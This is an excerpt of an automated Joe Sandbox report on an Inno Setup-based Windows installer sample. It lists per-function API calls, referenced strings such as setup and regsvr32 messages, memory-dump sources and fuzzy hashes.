                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 375863564-0
                                                                                                                                                                                                                                      • Opcode ID: 35a16e57ef2060bc5b86dfaf9fb4dd0844c8f61540c1a86612a76d2e62787fd3
                                                                                                                                                                                                                                      • Instruction ID: c082a38e55a2621cff38c0036c5e412d4739722926df34ebe37a7eff5f7859fc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 35a16e57ef2060bc5b86dfaf9fb4dd0844c8f61540c1a86612a76d2e62787fd3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 70515A712086459FDB50EF69C8C4B9B77E8AF48314F15466AFD488B286C738EC81CB99
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B46
                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B6A
                                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B86
                                                                                                                                                                                                                                      • ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BA7
                                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BD0
                                                                                                                                                                                                                                      • SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BDA
                                                                                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F5), ref: 00404BFA
                                                                                                                                                                                                                                      • GetFileType.KERNEL32(?,000000F5), ref: 00404C11
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C2C
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(000000F5), ref: 00404C46
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1694776339-0
                                                                                                                                                                                                                                      • Opcode ID: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
                                                                                                                                                                                                                                      • Instruction ID: 0555156f4d2a620bb114dc01d937536d57074fdea11cd86abdfeb4dd56d828b4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3741B3F02093009AF7305E248905B2375E5EBC0755F208E3FE296BA6E0D7BDE8458B1D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemMenu.USER32(00000000,00000000), ref: 00422233
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422251
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042225E
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042226B
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422278
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 00422285
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 00422292
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 0042229F
                                                                                                                                                                                                                                      • EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 004222BD
                                                                                                                                                                                                                                      • EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 004222D9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Menu$Delete$EnableItem$System
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3985193851-0
                                                                                                                                                                                                                                      • Opcode ID: d8fcfd45993f68361b05288e300d90e061abaf0c01acb012dac33f8cfd749464
                                                                                                                                                                                                                                      • Instruction ID: 662ae76830c3dbb110fd6952920e185112f137d20e740dc0dcce1beff7d7cd05
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d8fcfd45993f68361b05288e300d90e061abaf0c01acb012dac33f8cfd749464
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AF2144703407047AE720E724CD8BF9BBBD89B04708F5451A5BA487F6D3C6F9AB804698
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FreeLibrary.KERNEL32(10000000), ref: 004814F5
                                                                                                                                                                                                                                      • FreeLibrary.KERNEL32(00000000), ref: 00481509
                                                                                                                                                                                                                                      • SendNotifyMessageA.USER32(00020138,00000496,00002710,00000000), ref: 0048157B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Deinitializing Setup., xrefs: 00481356
                                                                                                                                                                                                                                      • Not restarting Windows because Setup is being run from the debugger., xrefs: 0048152A
                                                                                                                                                                                                                                      • GetCustomSetupExitCode, xrefs: 00481395
                                                                                                                                                                                                                                      • DeinitializeSetup, xrefs: 004813F1
                                                                                                                                                                                                                                      • Restarting Windows., xrefs: 00481556
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FreeLibrary$MessageNotifySend
                                                                                                                                                                                                                                      • String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
                                                                                                                                                                                                                                      • API String ID: 3817813901-1884538726
                                                                                                                                                                                                                                      • Opcode ID: 7fd84dd053b4401f5bdf0ca771466cc8f90a001c2e291a6a881faa6dba982769
                                                                                                                                                                                                                                      • Instruction ID: a147a64e5fa7f59d2c1c0707bc10c89f769f7b05bbdcd0d826f9af474dd6dcab
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7fd84dd053b4401f5bdf0ca771466cc8f90a001c2e291a6a881faa6dba982769
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 55519F30700240AFD311EB69E8D5B6E7BA8EB59714F50887BE805C73B1DB38AC46CB59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SHGetMalloc.SHELL32(?), ref: 0046153B
                                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 0046159F
                                                                                                                                                                                                                                      • CoInitialize.OLE32(00000000), ref: 004615B3
                                                                                                                                                                                                                                      • SHBrowseForFolder.SHELL32(?), ref: 004615CA
                                                                                                                                                                                                                                      • CoUninitialize.OLE32(0046160B,00000000,?,?,?,?,?,00000000,0046168F), ref: 004615DF
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?,0046160B,00000000,?,?,?,?,?,00000000,0046168F), ref: 004615F5
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?,?,0046160B,00000000,?,?,?,?,?,00000000,0046168F), ref: 004615FE
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ActiveWindow$BrowseFolderInitializeMallocUninitialize
                                                                                                                                                                                                                                      • String ID: A
                                                                                                                                                                                                                                      • API String ID: 2684663990-3554254475
                                                                                                                                                                                                                                      • Opcode ID: 703f1963e0dc72a1c395d9026068ceb343fdf60ef3171849bb259b064323ba87
                                                                                                                                                                                                                                      • Instruction ID: 8a944d3e7b26c7d839f1ecf9cf32de2b38f87d5f920ef02beae42f78277bfb86
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 703f1963e0dc72a1c395d9026068ceb343fdf60ef3171849bb259b064323ba87
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 62312D70E00358AFDB00EFA6D885A9EBBF8EB09304F55847AF405E7251E7789A048B59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,00000000,0047292D,?,?,?,00000008,00000000,00000000,00000000,?,00472B89,?,?,00000000,00472DF8), ref: 00472890
                                                                                                                                                                                                                                        • Part of subcall function 0042CD94: GetPrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0042CE0A
                                                                                                                                                                                                                                        • Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498261,00000000,004982B6,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B
                                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,0047292D,?,?,?,00000008,00000000,00000000,00000000,?,00472B89), ref: 00472907
                                                                                                                                                                                                                                      • RemoveDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,0047292D,?,?,?,00000008,00000000,00000000,00000000), ref: 0047290D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: File$Attributes$DeleteDirectoryPrivateProfileRemoveString
                                                                                                                                                                                                                                      • String ID: .ShellClassInfo$CLSID2$desktop.ini$target.lnk${0AFACED1-E828-11D1-9187-B532F1E9575D}
                                                                                                                                                                                                                                      • API String ID: 884541143-1710247218
                                                                                                                                                                                                                                      • Opcode ID: 8c120786a4ea8c92214831f90170699f67ddada7000dc7cca521b0e92e4fa8e9
                                                                                                                                                                                                                                      • Instruction ID: c9f0bcdda41dfe4bc4fb8c2ad9af4abf79d42ba832169be77a83c6f088ccd444
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8c120786a4ea8c92214831f90170699f67ddada7000dc7cca521b0e92e4fa8e9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A711D0F07005147BD701F66A8D82BAFB2ACDB49714F65807BB604B72C1DB7CAE01865C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,inflateInit_), ref: 0045D10D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,inflate), ref: 0045D11D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,inflateEnd), ref: 0045D12D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,inflateReset), ref: 0045D13D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc
                                                                                                                                                                                                                                      • String ID: inflate$inflateEnd$inflateInit_$inflateReset
                                                                                                                                                                                                                                      • API String ID: 190572456-3516654456
                                                                                                                                                                                                                                      • Opcode ID: 642f53b55b6c69fa488a6078c858724ccece433db3f4d1a063b28ca439a42b30
                                                                                                                                                                                                                                      • Instruction ID: 41a921eeb660c13fccdf509460c8c4a7353affed60c98b376863fdd8d28133a2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 642f53b55b6c69fa488a6078c858724ccece433db3f4d1a063b28ca439a42b30
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1A01FFB0D00B00DAE724EFB69D9572736A5AB64306F14C03B9C09962A6D7790858DF6C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetBkColor.GDI32(?,00000000), ref: 0041A9B9
                                                                                                                                                                                                                                      • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0041A9F3
                                                                                                                                                                                                                                      • SetBkColor.GDI32(?,?), ref: 0041AA08
                                                                                                                                                                                                                                      • StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AA52
                                                                                                                                                                                                                                      • SetTextColor.GDI32(00000000,00000000), ref: 0041AA5D
                                                                                                                                                                                                                                      • SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AA6D
                                                                                                                                                                                                                                      • StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AAAC
                                                                                                                                                                                                                                      • SetTextColor.GDI32(00000000,00000000), ref: 0041AAB6
                                                                                                                                                                                                                                      • SetBkColor.GDI32(00000000,?), ref: 0041AAC3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Color$StretchText
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2984075790-0
                                                                                                                                                                                                                                      • Opcode ID: d922b450a47b78d2b04aec2ac0d2e0f837e00e48c8544b253d9025e975fd03f1
                                                                                                                                                                                                                                      • Instruction ID: 4467ea82dd13d464879b0bd0dd0607b47ee3045dce17e21d2c6451b7f26a8ea4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d922b450a47b78d2b04aec2ac0d2e0f837e00e48c8544b253d9025e975fd03f1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8761E5B5A00505AFCB40EFADD985E9AB7F8EF08314B10816AF908DB262C775ED40CF58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,004580C8,?, /s ",?,regsvr32.exe",?,004580C8), ref: 0045803A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseDirectoryHandleSystem
                                                                                                                                                                                                                                      • String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
                                                                                                                                                                                                                                      • API String ID: 2051275411-1862435767
                                                                                                                                                                                                                                      • Opcode ID: d723b4d4e63128474f1a7954f42046bb5ea4c3ccf1ebb930fe5345dfcc04232a
                                                                                                                                                                                                                                      • Instruction ID: e9c79437d4df6862de8c7cd7f55e60b8630b5ed7fadd4497393df937d865c406
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d723b4d4e63128474f1a7954f42046bb5ea4c3ccf1ebb930fe5345dfcc04232a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AA410670A043086BDB11EFD6D842B8EB7B9AF45705F51407FA904BB292DF789A0D8B19
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,00000001,00000001), ref: 0044D1A9
                                                                                                                                                                                                                                      • GetSysColor.USER32(00000014), ref: 0044D1B0
                                                                                                                                                                                                                                      • SetTextColor.GDI32(00000000,00000000), ref: 0044D1C8
                                                                                                                                                                                                                                      • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D1F1
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D1FB
                                                                                                                                                                                                                                      • GetSysColor.USER32(00000010), ref: 0044D202
                                                                                                                                                                                                                                      • SetTextColor.GDI32(00000000,00000000), ref: 0044D21A
                                                                                                                                                                                                                                      • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D243
                                                                                                                                                                                                                                      • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D26E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Text$Color$Draw$OffsetRect
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1005981011-0
                                                                                                                                                                                                                                      • Opcode ID: 4054566e8ba3b89cdd91132f39c510e9855df1fb138f21794d8e69447c138b72
                                                                                                                                                                                                                                      • Instruction ID: 8406a00effd73db105afccad7da3796984cf264811f0ddac3e5cace4e0ac1d2b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4054566e8ba3b89cdd91132f39c510e9855df1fb138f21794d8e69447c138b72
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A021BDB42015047FC710FB2ACD8AE8B6BDCDF19319B05457AB958EB292C67CDD404668
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 004776B4: GetWindowThreadProcessId.USER32(00000000), ref: 004776BC
                                                                                                                                                                                                                                        • Part of subcall function 004776B4: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,004777B3,0049C0A4,00000000), ref: 004776CF
                                                                                                                                                                                                                                        • Part of subcall function 004776B4: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004776D5
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,0000004A,00000000,F{G), ref: 004777C1
                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00477806
                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00477810
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 00477865
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
                                                                                                                                                                                                                                      • String ID: CallSpawnServer: Unexpected response: $%x$CallSpawnServer: Unexpected status: %d$F{G
                                                                                                                                                                                                                                      • API String ID: 613034392-3657229555
                                                                                                                                                                                                                                      • Opcode ID: 6d97cf5564b98f17fd9f3b8579433905f0e6c95bef7ad8bee9a9e7eacc473beb
                                                                                                                                                                                                                                      • Instruction ID: 2d480610a6b59e2baa88e371a3ce18c9cee9fe0f547c40ec3b8b85eb822a561a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6d97cf5564b98f17fd9f3b8579433905f0e6c95bef7ad8bee9a9e7eacc473beb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CB31A234F042159ADB10EBB9C8867EE76A1AB44314F90847BF548EB392D67C9D01CBAD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C192,00000000,0045C31D,?,00000000,00000002,00000002), ref: 00450933
